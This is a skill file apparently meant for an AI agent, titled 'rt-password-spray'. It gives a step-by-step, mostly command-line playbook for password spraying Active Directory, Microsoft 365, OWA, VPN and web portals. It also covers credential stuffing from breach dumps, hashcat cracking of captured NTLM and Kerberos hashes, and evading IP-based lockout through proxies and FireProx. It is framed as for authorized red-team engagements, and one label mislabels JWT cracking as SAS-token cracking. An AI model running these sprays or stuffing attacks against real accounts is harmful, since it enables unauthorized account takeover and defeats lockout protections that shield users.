---
name: rt-password-spray
description: "Password spraying skill for authorized engagements. Anti-lockout spray logic, Active Directory spraying with kerbrute and CrackMapExec, O365/Azure AD spray, OWA/Exchange spray, VPN and portal spraying, distributed spraying to avoid lockout, credential stuffing from breach data, custom wordlist generation with CeWL and rules, and hashcat cracking workflows. Use when testing authentication controls across corporate services."
---

# rt-password-spray — Password Spraying & Credential Attacks

## Overview

Password spraying tests one or a few common passwords against many accounts — the inverse of brute force. It avoids account lockout by staying under the threshold (typically 3-5 attempts per account per window). In red team engagements, password spraying is often the fastest path to initial access.

**Key principle:** 1-3 passwords × all accounts = high success rate, zero lockouts.

---

## Phase 1 — Pre-Spray Recon

```bash
# Find lockout policy BEFORE spraying
# Method 1: From domain joined host
net accounts /domain
# Outputs: Lockout threshold, observation window, lockout duration

# Method 2: Via LDAP (unauthenticated often works)
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" \
  "(objectClass=domainPolicy)" lockoutThreshold lockoutObservationWindow

# Method 3: From enum4linux
enum4linux -P DC_IP | grep -i lockout

# Safe spray rate: 1 attempt per account per (observation window + buffer)
# If lockout = 5 attempts / 30 min window → spray 1 pass per 35 minutes max

# Enumerate all valid usernames first
kerbrute userenum --dc DC_IP -d corp.local /opt/SecLists/Usernames/Names/names.txt
# Output: valid usernames only → build target list
```

---

## Phase 2 — Password List Selection

```bash
# Universal first-pass passwords (highest success rate in enterprise)
# Ordered by success frequency in red team engagements:
Season+Year:     Summer2024! Spring2024! Winter2024! Fall2024!
Company+Year:    Corp2024!  CorpIT2024! Company123!
Welcome:         Welcome1! Welcome2024! Welcome@123
Common:          Password1! P@ssw0rd! Admin123! Passw0rd1
Months:          January2024! February2024!

# Build spray list from company OSINT
# CeWL — harvest words from company website
cewl https://corp.com -d 3 -m 6 -w corp-words.txt
cewl https://corp.com --with-numbers -w corp-words-nums.txt

# Add password mutation rules
hashcat --stdout corp-words.txt -r /usr/share/hashcat/rules/best64.rule \
  | head -100 > spray-list.txt

# Add season+year automatically
python3 -c "
import datetime
year = datetime.datetime.now().year
seasons = ['Spring','Summer','Fall','Winter']
months = ['January','February','March','April','May','June',
          'July','August','September','October','November','December']
for s in seasons:
    for y in [year-1, year]:
        print(f'{s}{y}!')
        print(f'{s}{y}@')
for m in months:
    print(f'{m}{year}!')
" > seasonal-passwords.txt
```

---

## Phase 3 — Active Directory Spraying

### 3a — Kerbrute (Kerberos-based — No LDAP, Lower Noise)

```bash
# Download
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute

# Single password spray
./kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Summer2024!'

# Multiple passwords (with delay between rounds)
for pass in 'Summer2024!' 'Welcome1!' 'Password1!'; do
  echo "[*] Spraying: $pass"
  ./kerbrute passwordspray -d corp.local --dc DC_IP users.txt "$pass"
  echo "[*] Sleeping 35 minutes..."
  sleep 2100  # 35 min — safely under observation window
done

# Output: valid credentials listed as [+] VALID LOGIN
```

### 3b — CrackMapExec / NetExec (SMB Spray)

```bash
# SMB spray — tests against all DCs/hosts
crackmapexec smb DC_IP -u users.txt -p 'Summer2024!' --no-bruteforce
# --no-bruteforce: one password per user (not all combos)

# Multiple passwords safely
crackmapexec smb DC_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

# Find which hosts the valid creds work on
crackmapexec smb 10.10.10.0/24 -u validuser -p 'Summer2024!'

# LDAP spray (quieter than SMB)
crackmapexec ldap DC_IP -u users.txt -p 'Summer2024!' --no-bruteforce

# WinRM spray (find remote management access)
crackmapexec winrm 10.10.10.0/24 -u validuser -p 'Summer2024!'
```

---

## Phase 4 — Cloud & Web Service Spraying

### 4a — Microsoft 365 / Azure AD

```bash
# MSOLSpray — O365 spraying with lockout awareness
git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'Summer2024!'

# Or: python version
pip3 install msolspray
msolspray -u users.txt -p 'Summer2024!' -d corp.com

# TeamFiltration — Teams/O365 multi-vector
git clone https://github.com/Flangvik/TeamFiltration
./TeamFiltration --spray --out-dir results/ --userlist users.txt --password 'Summer2024!'

# Check if SmartLockout is active (Azure AD)
# SmartLockout = 10 failures → 60s lockout (per IP)
# Bypass: distribute spray across multiple IPs / use slow spray
```

### 4b — OWA / Exchange Spraying

```bash
# MailSniper — Exchange/OWA spray
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchangeVersion Exchange2016 \
  -ExchHostname mail.corp.com \
  -UserList users.txt \
  -Password 'Summer2024!' \
  -OutFile sprayed.txt

# EWSWrapper — slower, uses Exchange Web Services
python3 ewsWrapper.py -u users.txt -p 'Summer2024!' -t mail.corp.com
```

### 4c — VPN & Remote Access Portals

```bash
# Cisco AnyConnect
python3 vpn_spray.py --host vpn.corp.com --users users.txt --password 'Summer2024!'

# Citrix NetScaler
curl -s -X POST 'https://citrix.corp.com/nf/auth/doAuthentication.do' \
  -d "login=USER&passwd=Summer2024!" | grep -i "success\|error\|invalid"

# General HTTP form spray
hydra -L users.txt -p 'Summer2024!' corp.com https-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 1 -W 35  # 1 thread, 35 second wait between attempts

# Web login spray with Burp Intruder
# Positions: username (list) + password (fixed)
# Grep match: success indicator
# Throttle: 60s between requests per account
```

---

## Phase 5 — Credential Stuffing (From Breach Data)

```bash
# Download breach data (authorized context only)
# Sources: HaveIBeenPwned API, DeHashed, Snusbase

# Check employees in breaches
python3 breach_check.py --domain corp.com --output corp_breached.txt
# Uses HIBP API: api.pwnedpasswords.com

# Extract email:password pairs from breach dump
grep -i "@corp.com" breach_dump.txt | awk -F: '{print $1":"$NF}' > corp_creds.txt

# Test extracted credentials
while IFS=: read -r user pass; do
  ./kerbrute bruteuser -d corp.local --dc DC_IP "$pass" "$user"
done < corp_creds.txt

# Automated stuffing with Hydra
hydra -C corp_creds.txt corp.com https-post-form \
  "/login:email=^USER^&password=^PASS^:Invalid"
```

---

## Phase 6 — Hash Cracking (Post-Capture)

```bash
# After capturing hashes (from Responder, secretsdump, LSASS dump)

# NTLM hashes
hashcat -a 0 -m 1000 ntlm_hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat -a 0 -m 1000 ntlm_hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# NTLMv2 (from Responder)
hashcat -a 0 -m 5600 ntlmv2_hashes.txt rockyou.txt

# Kerberoast TGS hashes
hashcat -a 0 -m 13100 kerberoast.hash rockyou.txt
hashcat -a 0 -m 13100 kerberoast.hash rockyou.txt -r best64.rule

# AS-REP roast
hashcat -a 0 -m 18200 asrep.hash rockyou.txt

# Custom rules for corporate passwords
# Rule: capitalize first letter + append numbers + special char
cat > corp_rules.rule << 'EOF'
c $2 $0 $2 $4 $!
c $2 $0 $2 $5 $!
c $S $u $m $m $e $r $2 $0 $2 $4 $!
^@ c
$@ c
c $1 $2 $3
EOF
hashcat -a 0 -m 1000 hashes.txt corp-words.txt -r corp_rules.rule

# Mask attack (pattern-based)
# Pattern: Capital + 6 lowercase + 2 digits + special
hashcat -a 3 -m 1000 hashes.txt '?u?l?l?l?l?l?l?d?d?s'
# Common corporate pattern: Company123!
hashcat -a 3 -m 1000 hashes.txt 'Corp?d?d?d?d!'

# AWS S3 / Azure SAS token cracking
hashcat -a 0 -m 16500 jwt_tokens.txt wordlist.txt  # JWT HS256
```

---

## Phase 7 — Distributed Spraying (Evade IP-based Lockout)

```bash
# Azure AD SmartLockout and many cloud services lock per-IP
# Distribute spray across multiple egress IPs

# Option A: Multiple VPS / proxychains
# proxychains4 with multiple SOCKS proxies
cat /etc/proxychains4.conf
# [ProxyList]
# socks5 IP1 1080
# socks5 IP2 1080
# socks5 IP3 1080

proxychains4 ./kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Summer2024!'

# Option B: AWS Lambda spray (GoLambda)
git clone https://github.com/ustayready/fireprox
python3 fire.py --access_key KEY --secret_access_key SECRET \
  --region us-east-1 --command create --url https://login.microsoftonline.com

# Each Lambda invocation = different IP
```

---

## Skill Levels

**BEGINNER:** kerbrute single password spray → find valid credentials → PTH or direct login

**INTERMEDIATE:** Multi-round spray with lockout-aware delays + O365/OWA spray + CeWL wordlist generation

**ADVANCED:** Distributed spray via proxychains + credential stuffing from breach data + custom hashcat rules

**EXPERT:** Fully automated spray framework with per-account rate limiting + SmartLockout bypass + real-time credential validation

---

## References

- kerbrute: https://github.com/ropnop/kerbrute
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
- MSOLSpray: https://github.com/dafthack/MSOLSpray
- MailSniper: https://github.com/dafthack/MailSniper
- MITRE T1110.003: https://attack.mitre.org/techniques/T1110/003/
